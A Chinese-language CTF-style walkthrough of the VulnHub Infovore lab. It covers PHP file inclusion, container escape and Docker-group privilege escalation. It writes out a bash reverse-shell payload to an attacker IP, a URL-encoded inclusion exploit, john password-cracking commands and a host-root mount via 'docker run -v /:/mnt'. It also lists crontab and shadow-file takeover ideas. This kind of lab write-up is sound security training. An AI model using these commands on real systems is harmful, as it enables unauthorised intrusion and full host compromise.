docker提权
环境
重点是后面拿到shell后的docker提权部分
环境:https://www.vulnhub.com/entry/infovore-1,496/
https://mp.weixin.qq.com/s/7RWgYGyiK-CEN508eB8BEg
难受啊 找exp找了一下午 其实一开始用的可以 执行命令少了个; 然后弹shell也一直弹不上 最后按着小迪一个一个敲。。
内容
- 文件包含
- docker逃逸
- docker提权
操作
常规 主机发现 端口扫描 开放了80端口 也没啥东西
文件包含 参数爆破
然后目录扫描 也啥东西 然后他的 80端口的主页面的title是 include me 就想到了文件包含
但是不知道他的参数名 => 用burp去爆破 从扫描的结果得知存在 info.php 去包含这个 响应长度不一样 再去看他的页面是空白的 很奇怪啊不应该是主要啊



这个包含有点迷糊啊 为啥我包含info.php 页面显示是空白嘞
漏洞利用
已获得phpinfo和文件包含漏洞可以尝试远程代码执行
md 找着exp找了几小时 然后tmd 重新回到课程里面看到。。。然后tmd少了个分号
exp =>https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py
' bash -c "exec bash -i >/dev/tcp/192.168.3.128/9000 0>&1" ' //要编码
http://192.168.3.116/index.php?filename=/tmp/g&1=system(%27bash%20-c%20%22exec%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.3.128%2f9000%200%3E%261%22%27);
执行exp 然后再反弹shell
提权
docker逃逸
拿到shell 后 去到根目录 ls -a 看到 .dockerenv 就知道现在拿到得是一个dockr环境下的权限

hostname 也可以判断

现在要逃逸出docker容器
复制.oldkeys.tgz到tmp目录下,解压缩文件查看内容,发现私钥
cp /.oldkeys.tgz /tmp/.oldkeys.tgz
tar -xvf .oldkeys.tgz

复制root内容到kali 用john进行解密 破解出一个密码 choclate93
使用 john 的一个脚本把私钥转换成 john 可识别的 ssh 密钥文件:
/usr/share/john/ssh2john.py id_rsa > hash1
使用 john 爆破密码
john hash1 --wordlist=/usr/share/wordlists/rockyou.txt

尝试su到root

但是我们现在的root 也只是docker容器的root 要逃离docker
.ssh在root目录啊 (找半天)

查看 id_rsa.pub时候发现一个admin账号 这应该是 本机的了 试着用密钥对连接 看到有公钥和私钥了 
利用docker提权
用 /bin/bash -i 得到新的shell终端
su -P - root 切换root用户配置相同的环境,再次登录ssh,成功
开始我直接su root 然后操作失败了 (前面还要 export TERM=xterm)

ssh admin@192.168.150.1 -i id_rsa 要输入密码 这里用到前面的密码 也可以 像前面一样 搞到本机去破解

成功拿到了一个本机用户权限 想办法提到root 看到这个用户在docker组里面 用docker提权 挂载目录

docker run -v /:/mnt -it alpine // 从Docker上面下载alpine镜像,然后运行;将容器外部的目录/挂载到容器内部/mnt


这个时候又来到了docker里面 权限是root 这是我们启动docker 挂载了目录 通过这个我们可以看到真机root里面有什么而且还可以写
但是在这 我们反弹shell 得到的shell任然是docker容器的root权限
进入docker控制终端 /mnt就等于操作真机目录 借助目录写入计划任务或者读取密钥破解等方式进行权限交换
我们要得到真机的root权限的方法(拿到真机的shell
- 破解 /etc/shadow
- 写ssh密钥到宿主机(真机) openssl 靶机好像没有 (生成个密码 替换root原来的密码
- 写计划任务到宿主机 /mnt/etc/crontab = /etc/crontab https://zhuanlan.zhihu.com/p/591578734
- CVE漏洞直接利用 反弹shell
破解 shadow 密钥 john ( cpu直接100%)

总结
打了一天了 拿shell那里 一直打不通 乌鱼子
但是重点是在后面的docker提权部分
拿本靶机来说
一开始得到的shell是在docker里面 然后破解密钥得到了 docker里面的root权限
然后又通过ssh 连接到了真机的普通用户 而且在docker组里
通过docker 挂载目录 进入docker 得到了一个docker的root权限
但是我们可以访问到真机的root等目录 可以通过写计划任务 破解密钥 来拿到真机的root权限的shell